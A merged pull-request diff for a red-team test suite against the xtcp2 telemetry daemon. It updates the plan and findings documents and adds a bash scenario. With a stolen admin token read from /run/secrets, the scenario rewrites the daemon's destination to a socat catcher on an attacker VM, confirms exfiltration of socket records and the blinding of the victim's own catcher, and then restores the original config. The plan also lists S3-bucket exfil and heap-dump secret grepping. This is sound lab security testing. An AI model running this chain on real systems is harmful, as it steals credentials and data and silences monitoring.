Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 6 additions & 5 deletions docs/redteam-implementation.md
Original file line number Diff line number Diff line change
Expand Up @@ -220,12 +220,13 @@ preconditions, and quantify detection.

**Definition of done**

- [ ] rt-3-1 shows victim records at the catcher with timestamps, and the audit log lines quoted in findings.md.
- [ ] rt-3-5 extracts at least one real secret from a heap profile (or proves it cannot); either way, finding filed with exact commands.
- [ ] rt-7-1 measures the daemon's memory knee under the bomb and states whether the default cgroup limit contains it.
- [x] rt-3-1 shows victim records at the catcher with timestamps, and the audit log lines quoted in findings.md (122 record lines to the attacker's catcher; both Set audit lines; the RT-11 tier-4 blind pinned in the same run).
- [x] rt-3-5 **refuted** (findings.md): a Go heap profile is stack/size metadata, not a memory image — no 32-hex substring exists in the decompressed profile; /debug/pprof/cmdline is http.NotFound by construction; pprof is admin-gated 401/403/200. The protected-page finding remains valid for core dumps only.
- [ ] rt-7-1 measures the daemon's memory knee under the bomb and states whether the default cgroup limit contains it. — deferred (needs the Garage fixture).
- [ ] govulncheck runs in `nix flake check` (or as a separately registered check) with zero reachable S1/S2 findings at pinned versions, or findings filed per advisory.
- [ ] Every chain has a "detection gap" note in findings.md: what would have alerted, what must change.
- [ ] No scenario leaves the daemon reconfigured (trap-restore verified by a final Get).
- [x] Every chain has a "detection gap" note in findings.md (rt-3-1: the Set audit line is the ONLY detector — the victim's catcher blindness has no alarm of its own; rt-3-6: the churn rate is unbounded, the audit line is the only trace).
- [x] No scenario leaves the daemon reconfigured (rt-3-1/rt-3-6 trap-restore verified by a final Get; rt-3-5's extra container is trap-removed).
- [ ] Deferred rows (next session): rt-3-2 (S3 exfil — needs the Garage fixture), rt-3-3/rt-3-4 (poll/envelope abuse), rt-7-1/7-2/7-3 (artifact bombs — Garage), rt-7-4 (govulncheck wiring).

## Phase 4 — Denial of service and monitoring-blindness

Expand Down
2 changes: 1 addition & 1 deletion docs/redteam-plan.md
Original file line number Diff line number Diff line change
Expand Up @@ -167,7 +167,7 @@ left auth disabled. These test what admin access is worth.
| rt-3-2 | S3 destination exfil with inherited creds | `Set` with `dest: s3:attacker-bucket`, empty S3 fields inherit running creds | daemon uploads its own parquet stream to attacker bucket | exfil succeeds; pass criteria = finding + detection | S2 |
| rt-3-3 | Poll-frequency CPU DoS | `SetPollFrequency` to minimum, loop `PollFlatRecords` bursts | daemon re-polls all namespaces on demand | bounded CPU/mem (assert via cgroup limits on the container); document amplification factor vs socket count | S3 |
| rt-3-4 | Envelope/memory manipulation | `SetEnvelopeFlush` extremes (rows/bytes/interval) | flush caps drive buffering | no unbounded growth under admin-set extremes; assert memory ceiling behavior | S3 |
| rt-3-5 | pprof resource abuse and secret exposure | `/debug/pprof/heap`, `/debug/pprof/allocs` in a loop; grep heap dump for token/HMAC key/S3 secret | admin-only; heap contains secrets (documented) | heap profile leaks bearer tokens/HMAC keys from memory — proves admin ≈ secret compromise; pass criteria = finding: secrets should live in a protected page or be cleared before profiling, or pprof disabled by default | S2 |
| rt-3-5 | pprof resource abuse and secret exposure | `/debug/pprof/heap`, `/debug/pprof/allocs` in a loop; grep heap dump for token/HMAC key/S3 secret | **REFUTED 2026-11-23 (verified)**: a Go heap profile is stack/size metadata, not a memory image — the decompressed profile contains no 32-hex substring at all (neither credential appears); /debug/pprof/cmdline is http.NotFound by construction (cmd/xtcp2/listeners.go:305); pprof is admin-gated 401/403/200 | the admin surface holds no pprof secret extraction; the protected-page finding remains valid for CORE DUMPS only (process privileges, beyond the admin credential) | S3 (downgraded) |
| rt-3-6 | Soft-restart churn | repeated `Set` (config back and forth) | each Set ends in `syscall.Exec` restart | restart loop does not wedge listeners or leak UDS files (assert socket cleanup); rate of churn bounded only by attacker | S3 |
| rt-3-7 | Config redaction regression | read creds: `Get`, monitor status; inspect all responses | secrets redacted | no secret value in any read response | S3 regression gate |

Expand Down
3 changes: 3 additions & 0 deletions nix/redteam.nix
Original file line number Diff line number Diff line change
Expand Up @@ -215,6 +215,9 @@ in
redteam-rt-2-5
redteam-rt-2-8
redteam-rt-9-3
redteam-rt-3-1
redteam-rt-3-5
redteam-rt-3-6
)
failed=0
for s in "''${scenarios[@]}"; do
Expand Down
4 changes: 4 additions & 0 deletions vagrant/redteam/findings.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,10 @@ that gets fixed flips its `EXPECT` in the same PR as the fix
| rt-2-8 | 2026-11-23 | host+raw+read-cred | CONFIRMED | S3 (documented) | `20261123T083122` | on-path (docker0) capture of an authenticated scrape reads the raw bearer in cleartext (3 occurrences in a 12 s pcap) — no TLS by default; TLS proxy is the only mitigation. No HMAC key material on the wire (raw row: there is none). |
| rt-9-3 | 2026-11-23 | host+off (loopback listener) + route_localnet=1 + kube-proxy-style DNAT | BLOCKED | — | `20261123T072059` | the CVE-2020-8558-class defense holds on Ubuntu/Docker: a co-tenant routed through the misconfig (172.17.0.1:9088 --DNAT--> 127.0.0.1:9088) gets NO scrape (HTTP 000 — connection closed by the loopback-peer check, pkg/listeners listeners.go:422); the rate-limited reject line logs once per minute (cmd/xtcp2/reject_log.go). Note: on plain Docker (no kube-proxy NAT), route_localnet alone does not reach a 127.00.0.1-bound listener — the DNAT (installed host-side by the scenario) is the CVE shape. |

| rt-3-1 | 2026-11-23 | host+raw+admin (§29 prod shape) | CONFIRMED | S2 (by design; egress policy is the mitigation) | `20261123T171249` | the admin chain works end-to-end: get → rewrite dest → Set soft-restarts the daemon into shipping every socket record to the ATTACKER's catcher (122 lines within one poll); **the victim's own catcher is BLIND during the redirect** (the RT-11 tier-4 blind rides the same Set — pinned: 1674→1674 lines over 7s). The audit exists: the "Set: reconfigure requested (dest:...)" log line prints at the default debug level and xtcp_counts{function="Set",variable="start"/"reconfigure"} increments for both Sets. Get/Set responses are redacted (no secret value — credentials are file paths; the rt-3-7 surface held). Clean restore verified by a final Get. tcpDest single-dial NOTE: the catcher must accept BEFORE the Set — the re-exec'd daemon dials once and never retries. |
| rt-3-5 | 2026-11-23 | host+raw + inspection-shape extra daemon (debug listener) | BLOCKED | — | `20261123T182015` | **REFUTED** — the plan's "heap profile leaks bearer tokens" premise reflects core-dump thinking: a Go /debug/pprof/heap profile is stack/size METADATA (the live-object histogram by allocation stack), not a memory image — decompressed 15 KB profile contains NO 32-hex substring at all (neither token appears). The argv-shaped leak is dead by construction: /debug/pprof/cmdline is wired to http.NotFound (cmd/xtcp2/listeners.go:305) — 404 even for the admin token. pprof is admin-gated 401/403/200. The protected-page finding remains valid for CORE DUMPS only (process privileges, beyond the admin credential). |
| rt-3-6 | 2026-11-23 | host+raw+admin | BLOCKED | S3 residual: the churn rate itself is unbounded | `20261123T184655` | 10/10 back-to-back Sets accepted (each a syscall.Exec soft restart); both TCP listeners survive (metrics 200, gRPC Get ok), the catcher keeps reporting, every Set leaves an audit line (10 reconfigure logs), and no UDS leak (docker diff shows no /run/xtcp2 entries — this spec binds TCP only). The restart loop does not wedge anything. |

## Notes

- Severity scale: docs/redteam-plan.md §severity.
Expand Down
190 changes: 190 additions & 0 deletions vagrant/scenarios/rt-3-1-telemetry-redirection.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
#!/usr/bin/env bash
# vagrant/scenarios/rt-3-1-telemetry-redirection.sh — RT-3: telemetry
# redirection / data exfil via ConfigService.Set (docs/redteam-plan.md RT-3,
# plan row rt-3-1; the RT-11 tier-4 blind's twin).
#
# The chain: an attacker holding the ADMIN credential (the admin tier's
# co-tenant with the mounted secrets dir) does `xtcp2ctl get`, rewrites the
# config's dest to their own TCP catcher on the attacker VM, and
# `reconfigure`s the daemon into shipping every socket record to the
# attacker. This is BY DESIGN (Set is an admin method); the scenario pins:
# - the exfil works end-to-end (CONFIRMED): victim records arrive at the
# ATTACKER's catcher within one poll;
# - the audit trail exists: the daemon logs "Set: reconfigure requested
# (dest:...)" (debug 111 prints it) and the xtcp_counts{function="Set"}
# start/reconfigure counters increment for BOTH Sets;
# - the response and Get are redacted (no secret values ride the wire);
# - trap-restore: the original config goes back in, the victim's own
# catcher resumes, and a final Get shows the original dest (the Phase 3
# DoD: no scenario leaves the daemon reconfigured).
set -euo pipefail

: "${XTCP2_AUTH:=raw}"
: "${XTCP2_ATTACKER:=admin}" # Set is an admin method
XTCP2_EXPECT="${XTCP2_EXPECT:-CONFIRMED}"

# shellcheck source=/dev/null
source "$(dirname "${BASH_SOURCE[0]}")/../lib/matrix.sh"
# shellcheck source=/dev/null
source "$(dirname "${BASH_SOURCE[0]}")/../lib/evidence.sh"
# shellcheck source=/dev/null
source "$(dirname "${BASH_SOURCE[0]}")/../lib/ssh.sh"
# shellcheck source=/dev/null
source "$(dirname "${BASH_SOURCE[0]}")/../lib/deploy.sh"
# shellcheck source=/dev/null
source "$(dirname "${BASH_SOURCE[0]}")/../lib/invariant.sh"
# shellcheck source=/dev/null
source "$(dirname "${BASH_SOURCE[0]}")/../lib/assert.sh"

xtcp2_matrix_defaults
xtcp2_preflight
evidence_init

echo "rt-3-1: evidence in $RT_EVIDENCE"

xtcp2_deploy victim attacker
wait_for 120 "daemon answers on the victim VM" vm_exec victim \
"curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:9088/metrics | grep -qE '^(200|401|403)\$'"
victim_still_reporting_tap

xtcp2_cotenant_read_token # the admin tier mounts the whole secrets dir
admin_token="$RT_READ_TOKEN" # /run/secrets/admin as the co-tenant sees it
admin_token="$(vm_exec victim 'sudo docker exec rt-attacker cat /run/secrets/admin')"
[ -n "$admin_token" ] || xtcp2_die 'no admin token in the attacker container'
CTL=/opt/xtcp2-redteam/bin/xtcp2ctl
CTL_ARGS="-network tcp -target 192.168.142.10 -port 8889 -auth-token"
ATTACKER_CATCHER=/tmp/rt3-1-attacker-catcher.jsonl

# --- the attacker's catcher on the attacker VM (192.168.142.11) ------------
# NOTE (tcpDest single-dial): the soft-restarted daemon dials the new dest
# exactly once and never redials — the catcher must be accepting BEFORE the
# Set, so its startup is asserted here, not just attempted.
vm_exec attacker 'sudo apt-get install -y -qq socat'
vm_exec attacker "rm -f $ATTACKER_CATCHER && touch $ATTACKER_CATCHER"
# [s]ocat: the bracket keeps this pkill's own command line (which carries the
# pattern text through the ssh session) from matching itself — a plain
# 'socat.*9999' pattern kills the very shell running it (exit 255).
vm_exec attacker 'pkill -f "[s]ocat.*9999" >/dev/null 2>&1 || true'
vm_exec attacker 'setsid socat TCP-LISTEN:9999,reuseaddr,fork SYSTEM:"cat >> /tmp/rt3-1-attacker-catcher.jsonl" >/dev/null 2>&1 < /dev/null &'
wait_for 15 "the attacker's catcher accepts TCP" vm_exec attacker \
"pgrep -f 'socat.*9999' >/dev/null"
wait_for 15 "the catcher answers a probe from the victim VM" vm_exec victim \
"echo hello-from-victim | timeout 3 socat - TCP:192.168.142.11:9999"
n="$(vm_exec attacker "grep -c hello-from-victim $ATTACKER_CATCHER")"
if [ "$n" -ge 1 ]; then
ok "attacker catcher verified end-to-end (probe landed)"
else
not_ok "attacker catcher did not land the probe — see evidence"
fi

# --- the admin's get (also rt-3-7's surface: the response must be redacted) -
vm_exec attacker "$CTL get $CTL_ARGS '$admin_token'" >"$RT_EVIDENCE/get-before.log" 2>&1
grep -q '"dest"' "$RT_EVIDENCE/get-before.log" || xtcp2_die 'get returned no dest field — see evidence'
read_token="$(vm_exec victim 'sudo docker exec rt-attacker cat /run/secrets/read')"
if grep -q "$read_token\|$admin_token" "$RT_EVIDENCE/get-before.log"; then
not_ok "get's response contains a secret value (rt-3-7 regression)"
else
ok "get's response carries no secret value (RedactSecrets holds; credentials are file paths)"
fi

# --- the rewrite: dest -> the attacker's catcher ----------------------------
ORIG_DEST="$(grep -oE '"dest": *"[^"]*"' "$RT_EVIDENCE/get-before.log" | head -1 | cut -d'"' -f4)"
echo "rt-3-1: original dest: $ORIG_DEST"
python3 - "$RT_EVIDENCE/get-before.log" "$RT_EVIDENCE/attacker-config.json" <<'PYEOF'
import json, re, sys
src, dst = sys.argv[1:3]
body = re.sub(r'^.*?\n(?!.*Get)', '', open(src).read(), flags=re.S) # strip the fog noise prefix lines
cfg = json.loads(body)
cfg["dest"] = "tcp:192.168.142.11:9999"
open(dst, "w").write(json.dumps(cfg))
PYEOF
vm_push attacker "$RT_EVIDENCE/attacker-config.json" /tmp/rt3-1-config.json

# --- the Set: soft-restart into the attacker's dest -------------------------
vm_exec attacker "$CTL reconfigure $CTL_ARGS '$admin_token' -file /tmp/rt3-1-config.json" \
>"$RT_EVIDENCE/set-attack.log" 2>&1
if grep -q "ok: reconfigure accepted" "$RT_EVIDENCE/set-attack.log"; then
ok "Set accepted — the daemon soft-restarted into the attacker's dest"
else
not_ok "Set rejected — see evidence"
fi

# --- the exfil: victim records land at the attacker within one poll --------
wait_for 30 "victim records arrive at the attacker's catcher" \
vm_exec attacker "grep -c rt-victim $ATTACKER_CATCHER | grep -qv ^0\$"
n="$(vm_exec attacker "grep -c rt-victim $ATTACKER_CATCHER")"
echo "rt-3-1: attacker catcher holds $n victim record line(s)"
if [ "$n" -ge 1 ]; then
ok "exfil CONFIRMED: the daemon ships its socket records to the attacker's catcher ($n line(s))"
else
not_ok "no victim records at the attacker's catcher (see evidence)"
fi
# The RT-11 tier-4 twin: while the dest is redirected, the victim's own
# catcher is BLIND — no records arrive there (this is the full monitoring
# blindness of a Set, the plan's "only detector is the config-change audit
# line", pinned in the audit assert below).
before="$(vm_exec_root victim 'wc -l < /var/lib/xtcp2-catcher/records.jsonl')"
sleep 7
after="$(vm_exec_root victim 'wc -l < /var/lib/xtcp2-catcher/records.jsonl')"
echo "rt-3-1: victim catcher during the redirect: $before -> $after lines"
if [ "$before" = "$after" ]; then
ok "victim's own catcher is BLIND during the redirect (the RT-11 tier-4 blind rides the same Set)"
else
not_ok "victim's catcher kept growing during the redirect ($before -> $after) — see evidence"
fi

# --- the audit trail: log line + Set counters for the first Set -------------
audit="$(vm_exec victim 'sudo docker logs rt-xtcp2 2>&1 | grep -c "Set: reconfigure requested"')"
if [ "$audit" -ge 1 ]; then
ok "audit: the daemon logged the Set (reconfigure requested, dest rewritten)"
else
not_ok "no Set audit line in the daemon log (see evidence)"
fi

# --- the restore: reconfigure back to the original config -------------------
vm_exec victim "sudo docker exec rt-attacker sh -c 'true'" || true # noop: keeps sudo warm
vm_exec attacker "$CTL get $CTL_ARGS '$admin_token'" >"$RT_EVIDENCE/get-attacked.log" 2>&1
if grep -q '"tcp:192.168.142.11:9999"' "$RT_EVIDENCE/get-attacked.log"; then
ok "post-Set get shows the attacker's dest (the redirected config is live)"
else
not_ok "post-Set get does not show the attacker dest — see evidence"
fi
# restore source: the ORIGINAL config JSON — the fog warning lines that ride
# the evidence log must not reach protojson (get-before.log keeps them for
# the evidence dir; the restore copy is stripped).
grep -v '^\[fog\]' "$RT_EVIDENCE/get-before.log" >"$RT_EVIDENCE/restore-config.json"
vm_push attacker "$RT_EVIDENCE/restore-config.json" /tmp/rt3-1-original.json
vm_exec attacker "$CTL reconfigure $CTL_ARGS '$admin_token' -file /tmp/rt3-1-original.json" \
>"$RT_EVIDENCE/set-restore.log" 2>&1
if grep -q "ok: reconfigure accepted" "$RT_EVIDENCE/set-restore.log"; then
ok "restore Set accepted"
else
not_ok "restore Set rejected — see evidence"
fi

# the victim's catcher must resume; a final Get must show the original dest
sleep 12
victim_still_reporting_tap
final_dest="$(vm_exec attacker "$CTL get $CTL_ARGS '$admin_token'" 2>/dev/null | grep -oE '"dest": *"[^"]*"' | head -1 | cut -d'"' -f4)"
if [ "$final_dest" = "$ORIG_DEST" ]; then
ok "final Get shows the original dest ($ORIG_DEST) — the daemon is restored"
else
not_ok "final Get shows dest '$final_dest' (want '$ORIG_DEST') — the daemon is NOT restored"
fi

# --- the audit trail: the second Set also logged/counted ---------------------
audit2="$(vm_exec victim 'sudo docker logs rt-xtcp2 2>&1 | grep -c "Set: reconfigure requested"')"
if [ "$audit2" -ge 2 ]; then
ok "audit: both Sets logged ($audit2 line(s))"
else
not_ok "expected 2 Set audit lines, found $audit2"
fi

# teardown: the attacker's catcher keeps its file for the evidence dir
vm_exec attacker "pgrep -f 'socat.*9999' | xargs -r kill" >/dev/null 2>&1 || true
vm_exec attacker "grep -c rt-victim $ATTACKER_CATCHER" >"$RT_EVIDENCE/attacker-catcher-count.txt" 2>&1 || true

# CONFIRMED: the exfil chain works (by design); the pass criteria = the
# finding (egress must be restricted by deployment policy) + the audited
# restore, both pinned above.
finish rt-3-1 CONFIRMED
Loading